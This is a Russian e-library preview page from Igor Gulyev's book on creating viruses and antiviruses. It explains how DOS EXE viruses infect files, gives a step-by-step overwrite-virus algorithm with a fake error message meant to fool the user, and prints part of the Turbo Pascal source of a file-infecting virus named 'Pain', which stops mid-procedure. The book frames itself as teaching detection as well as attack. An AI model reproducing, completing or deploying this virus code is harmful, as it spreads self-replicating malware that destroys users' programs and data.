Игорь Гульев - Создаем вирус и антивирус

Тут можно читать онлайн Игорь Гульев - Создаем вирус и антивирус - бесплатно ознакомительный отрывок. Жанр: Прочая околокомпьтерная литература. Здесь Вы можете читать ознакомительный отрывок из книги онлайн без регистрации и SMS на сайте LibKing.Ru (ЛибКинг) или прочесть краткое содержание, предисловие (аннотацию), описание и ознакомиться с отзывами (комментариями) о произведении.
Игорь Гульев - Создаем вирус и антивирус

Игорь Гульев - Создаем вирус и антивирус краткое содержание

Создаем вирус и антивирус - описание и краткое содержание, автор Игорь Гульев, читайте бесплатно онлайн на сайте электронной библиотеки LibKing.Ru

Virus Warning!

С этим сообщением, хоть раз в жизни, сталкивался любой пользователь компьютера. Вирмейкеры с упорством маньяков плодят все новые и новые разновидности вирусов. Бытует мнение, что избавиться от них можно лишь с помощью сложных и дорогостоящих новейших антивирусных программ. Это не совсем верно – знание принципов действия и способов внедрения вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной «вакцины».

В этой книге вы найдете обширный материал, посвященный проблеме защиты информации, рассмотренной с обеих сторон баррикад (как от лица вирмейкера, так и создателя антивирусов).

Создаем вирус и антивирус - читать онлайн бесплатно ознакомительный отрывок

Создаем вирус и антивирус - читать книгу онлайн бесплатно (ознакомительный отрывок), автор Игорь Гульев
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

Вирусы, внедряющиеся в программу (Parasitic)

Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения EXE-вирусов в EXE-файл.

Способы заражения EXE-файлов

Самый распространенный способ заражения EXE-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение COM-файлов, но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.

Следующий способ – внедрение вируса в начало файла со сдвигом кода программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код, а после него – код инфицируемой программы. Таким образом, код программы как бы «сдвигается» в файле на длину кода вируса. Отсюда и название способа – «способ сдвига». При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (COM или EXE), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный файл очень просто – достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой программы (а ведь бывают экземпляры размером больше 1Мбайт).

Следующий способ заражения файлов – метод переноса – по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало, по длине равное телу вируса. На это место записывается тело вируса. Начало программы из памяти дописывается в конец файла. Отсюда название метода – «метод переноса». После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы, из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы – в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.

Вирусы, замещающие программный код (Overwrite)

Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы, созданные на языке Assembler, но это, скорее, соревнование в написании самого маленького overwrite-вируса. На данный момент самый маленький из известных overwrite-вирусов написан ReminderW (Death Virii Crew group) и занимает 22 байта.

Алгоритм работы overwrite-вируса следующий:

1. Открыть файл, из которого вирус получил управление.

2. Считать в буфер код вируса.

3. Закрыть файл.

4. Искать по маске подходящий для заражения файл.

5. Если файлов больше не найдено, перейти к пункту 11.

6. Открыть найденный файл.

7. Проверить, не заражен ли найденный файл этим вирусом.

8. Если файл заражен, перейти к пункту 10.

9. Записать в начало файла код вируса.

10. Закрыть файл (по желанию можно заразить от одного до всех файлов в каталоге или на диске).

11. Выдать на экран какое-либо сообщение об ошибке, например «Abnormal program termination» или «Not enough memory», – пусть пользователь не слишком удивляется тому, что программа не запустилась.

12. Завершить программу.

Ниже приведен листинг программы, заражающей файлы таким способом.

{$M 2048, 0, 0}

{$A−}

{$B−}

{$D−}

{$E+}

{$F−}

{$G−}

{$I−}

{$L−}

{$N−}

{$S−}

{$V−}

{$X+}

{Используются модули Dos и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses Dos;

Const

{Имя вируса}

VirName=’Pain’;

{Строка для проверки на повторное заражение.

Она дописывается в заражаемый файл сразу после кода вируса}

VirLabel: String[5]=’Pain!’;

{Длина получаемого при компиляции EXE−файла}

VirLen=4208;

Author=’Dirty Nazi/SGWW.’;

{Количество заражаемых за один сеанс работы файлов}

InfCount=2;

Var

{Массив для определения наличия копии вируса в найденном файле}

VirIdentifier: Array [1.5] of Char;

{Файловая переменная для работы с файлами}

VirBody: File;

{Еще одна файловая переменная – хотя без нее можно было

обойтись, так будет понятнее}

Target: File;

{Для имени найденного файла}

TargetFile: PathStr;

{Буфер для тела вируса}

VirBuf : Array [1.VirLen] of Char;

{Для даты/времени файла}

Time : LongInt;

{Счетчик количества инфицированных файлов}

InfFiles : Byte;

DirInfo : SearchRec;

LabelBuf : Array [1.5] of Char;

{Инициализация}

procedure Init;

begin

LabelBuf[1]:=VirLabel[1];

LabelBuf[2]:=VirLabel[2];

LabelBuf[3]:=VirLabel[3];

LabelBuf[4]:=VirLabel[4];

LabelBuf[5]:=VirLabel[5];

{Обнуляем счетчик количества инфицированных файлов}

InfFiles:=0;

{Связываем файловую переменную VirBody с именем программы,

из которой стартовали}

Assign(VirBody, ParamStr(0));

{Открываем файл с recsize=1 байту}

Reset(VirBody, 1);

{Считываем из файла тело вируса в массив VirBuf}

BlockRead(VirBody, VirBuf, VirLen);

{Закрываем файл}

Close(VirBody);

end;

{Поиск жертвы}

procedure FindTarget;

Var

Sr: SearchRec;

{Функция возвращает True, если найденная

программа уже заражена, и False, если еще нет}

function VirusPresent: Boolean;

begin

{Пока будем считать, что вируса нет}

VirusPresent:=False;

{Открываем найденный файл}

Assign(Target, TargetFile);

Reset(Target, 1);

{Перемещаемся на длину тела вируса от начала файла}

Seek(Target, VirLen);

{Считываем 5 байт – если файл уже заражен,

там находится метка вируса}

BlockRead(Target, VirIdentifier, 5);

If VirIdentifier=VirLabel Then

{Если метка есть, значит есть и вирус}

VirusPresent:=True;

end;

{Процедура заражения}

procedure InfectFile;

begin

{Если размер найденного файла меньше, чем длина вируса

плюс 100 байт, то выходим из процедуры}

If Sr.Size < VirLen+100 Then Exit;

{Если найденная программа еще не заражена, инфицируем ее}

If Not VirusPresent Then

begin

{Запомним дату и время файла. Атрибуты запоминать не надо,

Читать дальше
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать


Игорь Гульев читать все книги автора по порядку

Игорь Гульев - все книги автора в одном месте читать по порядку полные версии на сайте онлайн библиотеки LibKing.




Создаем вирус и антивирус отзывы


Отзывы читателей о книге Создаем вирус и антивирус, автор: Игорь Гульев. Читайте комментарии и мнения людей о произведении.


Понравилась книга? Поделитесь впечатлениями - оставьте Ваш отзыв или расскажите друзьям

Напишите свой комментарий
x